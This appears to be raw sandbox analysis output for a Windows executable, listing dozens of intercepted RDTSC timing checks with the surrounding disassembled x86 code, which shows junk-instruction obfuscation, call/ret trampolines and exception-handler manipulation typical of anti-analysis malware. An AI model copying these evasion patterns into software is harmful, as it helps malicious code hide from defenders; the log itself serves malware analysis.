Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6419CA second address: 641A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 push esi 0x00000008 jmp 00007FF34C7875CAh 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007FF34C7875D9h 0x00000014 jmp 00007FF34C7875CFh 0x00000019 popad 0x0000001a popad 0x0000001b xchg eax, ebx 0x0000001c mov esi, edx 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641A11 second address: 641A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641AA6 second address: 641AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641AAA second address: 641AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FF34D3F6AFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641E0C second address: 641E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF34C7875C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641ED8 second address: 641F01 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF34D3F6AF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF34D3F6AFFh 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jnl 00007FF34D3F6AF6h 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641FA4 second address: 641FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 jnc 00007FF34C7875D0h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FF34C7875C8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D223Dh], ebx 0x0000002e push eax 0x0000002f push ebx 0x00000030 pushad 0x00000031 push edi 0x00000032 pop edi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642508 second address: 64250E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643EC8 second address: 643EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64369F second address: 6436AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34D3F6AFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643EE1 second address: 643F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FF34C7875C8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 adc esi, 44CF0281h 0x0000002d push 00000000h 0x0000002f mov si, di 0x00000032 xchg eax, ebx 0x00000033 pushad 0x00000034 js 00007FF34C7875CCh 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6436AF second address: 6436CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FF34D3F6AF6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F2F second address: 643F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F33 second address: 643F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F37 second address: 643F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F44 second address: 643F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF34D3F6AF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F4F second address: 643F55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F55 second address: 643F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64491E second address: 644922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645273 second address: 6452F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jg 00007FF34D3F6AFCh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FF34D3F6AF8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122DBAD4h], ecx 0x0000002d or dword ptr [ebp+124838E0h], eax 0x00000033 push 00000000h 0x00000035 sub dword ptr [ebp+124770A5h], ecx 0x0000003b jne 00007FF34D3F6AF9h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007FF34D3F6AF8h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 00000016h 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FF34D3F6B03h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644735 second address: 644739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645D2E second address: 645D41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6471F9 second address: 6471FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A06A second address: 64A070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A070 second address: 64A074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B03F second address: 64B087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FF34D3F6AFCh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007FF34D3F6AFFh 0x00000014 nop 0x00000015 mov bh, 02h 0x00000017 push 00000000h 0x00000019 sbb ebx, 0C67491Ch 0x0000001f pushad 0x00000020 adc cl, 00000027h 0x00000023 xor dword ptr [ebp+124644BDh], ecx 0x00000029 popad 0x0000002a push 00000000h 0x0000002c or edi, 0F8D75F5h 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B087 second address: 64B0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 jnl 00007FF34C7875C6h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f jl 00007FF34C7875D4h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C0AF second address: 64C0C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF34D3F6AFCh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C0C8 second address: 64C0CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C0CE second address: 64C0E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6AFFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D098 second address: 64D0FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FF34C7875C8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov ebx, 112D6315h 0x00000029 mov bx, si 0x0000002c push 00000000h 0x0000002e call 00007FF34C7875CAh 0x00000033 sub dword ptr [ebp+124659BDh], eax 0x00000039 pop edi 0x0000003a push 00000000h 0x0000003c mov ebx, dword ptr [ebp+122D38FBh] 0x00000042 js 00007FF34C7875C9h 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D0FC second address: 64D104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647A84 second address: 647A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D104 second address: 64D10F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A224 second address: 64A2B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007FF34C7875CCh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f and bl, FFFFFFFAh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jmp 00007FF34C7875D1h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007FF34C7875C8h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000018h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov bh, al 0x00000041 mov eax, dword ptr [ebp+122D1725h] 0x00000047 push 00000000h 0x00000049 push eax 0x0000004a call 00007FF34C7875C8h 0x0000004f pop eax 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 add dword ptr [esp+04h], 00000015h 0x0000005c inc eax 0x0000005d push eax 0x0000005e ret 0x0000005f pop eax 0x00000060 ret 0x00000061 mov edi, dword ptr [ebp+122D21DBh] 0x00000067 push FFFFFFFFh 0x00000069 cld 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B2F9 second address: 64B306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D10F second address: 64D11A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A2B0 second address: 64A2B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A2B6 second address: 64A2CB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF34C7875CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A2CB second address: 64A2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D23F second address: 64D244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D244 second address: 64D249 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F005 second address: 64F06C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF34C7875CCh 0x00000008 ja 00007FF34C7875C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 jmp 00007FF34C7875D1h 0x00000017 pop eax 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FF34C7875CBh 0x00000021 mov edi, eax 0x00000023 pop edi 0x00000024 pop ebx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007FF34C7875C8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000016h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 movzx ebx, dx 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FF34C7875CAh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F06C second address: 64F071 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F174 second address: 64F184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FF34C7875C8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F184 second address: 64F18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF34D3F6AF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65104F second address: 651055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F18E second address: 64F231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov bx, 74CFh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FF34D3F6AF8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, esi 0x00000033 pushad 0x00000034 mov eax, 4ECA320Dh 0x00000039 jmp 00007FF34D3F6B02h 0x0000003e popad 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007FF34D3F6AF8h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000014h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 jne 00007FF34D3F6AF6h 0x00000066 mov eax, dword ptr [ebp+122D1759h] 0x0000006c movzx ebx, di 0x0000006f push FFFFFFFFh 0x00000071 push eax 0x00000072 js 00007FF34D3F6B13h 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650290 second address: 650294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650294 second address: 650298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650298 second address: 6502B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF34C7875D4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6502B4 second address: 6502B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654D19 second address: 654D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654D1D second address: 654D23 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654D23 second address: 654D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655D3B second address: 655D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651233 second address: 651237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658C27 second address: 658C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658C2D second address: 658C31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6603FF second address: 660410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF34D3F6AF6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6606E2 second address: 660702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF34C7875D8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660867 second address: 66086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66086B second address: 66088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF34C7875C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF34C7875D5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651FFF second address: 65200B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65200B second address: 652010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652010 second address: 652015 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653F85 second address: 653F8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655ECB second address: 655F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FF34D3F6AF8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push edx 0x00000025 mov edi, dword ptr [ebp+122D37E7h] 0x0000002b pop ebx 0x0000002c push dword ptr fs:[00000000h] 0x00000033 xor dword ptr [ebp+122D2242h], ebx 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 xor dword ptr [ebp+122D34EBh], esi 0x00000046 mov eax, dword ptr [ebp+122D025Dh] 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007FF34D3F6AF8h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 0000001Ah 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 mov bx, B028h 0x0000006a and edi, dword ptr [ebp+122D2B1Bh] 0x00000070 push FFFFFFFFh 0x00000072 sub dword ptr [ebp+122D1CA3h], eax 0x00000078 nop 0x00000079 jmp 00007FF34D3F6B04h 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 push edx 0x00000083 pushad 0x00000084 popad 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 655F7B second address: 655F85 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF34C7875C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656FB6 second address: 656FC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657EF8 second address: 657EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6650B4 second address: 6650D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF34D3F6AFAh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6650D1 second address: 66510F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FF34C7875D1h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e jo 00007FF34C7875D8h 0x00000024 push eax 0x00000025 push edx 0x00000026 jnp 00007FF34C7875C6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66510F second address: 665113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6651D7 second address: 6651E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
